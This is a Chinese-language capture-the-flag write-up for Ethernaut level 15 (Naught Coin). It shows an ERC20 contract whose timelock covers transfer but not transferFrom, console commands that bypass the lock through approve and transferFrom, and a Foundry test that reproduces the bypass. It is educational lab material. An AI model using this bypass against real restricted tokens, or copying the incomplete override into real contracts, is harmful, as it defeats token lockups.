# Ethernaut CTF Level 15 - Naught Coin
## 題目
NaughtCoin 是一種 ERC20 代幣,而且你已經持有這些代幣。問題是你只能在等待 10 年的鎖倉期之後才能轉移它們。你能不能嘗試將它們轉移到另一個地址,讓你可以自由地使用它們嗎?要完成這個關卡的話要讓你的帳戶餘額歸零。
可能會有用的資訊
- ERC20 標準
- OpenZeppelin 程式庫
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
```
<br>
## 分析
題目繼承了 ERC20的protocol
在ERC20中,除了`transfer`可以做token轉移之外
`transferFrom`也可以。這邊題目忽略了也要override `transferFrom`
攻擊思路就只是進行普通的approve + `transferFrom`
<br>
## 攻擊
在console下以下指令即可
```javascript
await contract.approve(player, toWei("1000000"))
await contract.transferFrom(player, instance, toWei("1000000"))
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/15-NaughtCoin/NaughtCoin.sol";
contract ContractTest is Test {
// NaughtCoin(payable(0x5eF5e08519b9118DC1783D29e7B485aF2FBFB4d6));
NaughtCoin level15;
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x5eF5e08519b9118DC1783D29e7B485aF2FBFB4d6),
"Ethernaut15"
);
// simulate the contract deployment to mint ourselfs some NaughtCoin
level15 = new NaughtCoin(address(this));
}
function testEthernaut15() public {
// Verify we have a good start state
uint256 balance = 1000000 * (10 ** 18);
assert(level15.balanceOf(address(this)) == balance);
assert(level15.balanceOf(address(level15)) == 0);
// We need to transfer our own funds, to follow the transferFrom implementataion we need to have a allowance mapping
level15.approve(address(this), balance);
// check the allowance[attacker][attacker]
console.log(level15.allowance(address(this), address(this)));
level15.transferFrom(address(this), address(level15), balance);
// Verify we pass the level
assert(level15.balanceOf(address(this)) == 0);
assert(level15.balanceOf(address(level15)) == balance);
}
receive() external payable {}
}
```
<br>
## 補充
From Ethernaut
當你用到別人的程式碼的時候,最好還是先瞭解人家的程式碼是怎麼運作的比較好喔。
尤其在你的匯入(import)是很多層的時候(你匯入的函式庫有匯入其它函式庫),又或者你在做一些授權控管、驗證的時候(像是讓人有權限/剝奪權限做某些操作),都要特別小心。
比如當您允許或阻止人們做某事時. 在這個案例中,開發者在讀函式庫的時候覺得 transfer 函式是轉移代幣的唯一方法,但沒發現其實還有其他方式可以被用來執行相同目的的操作。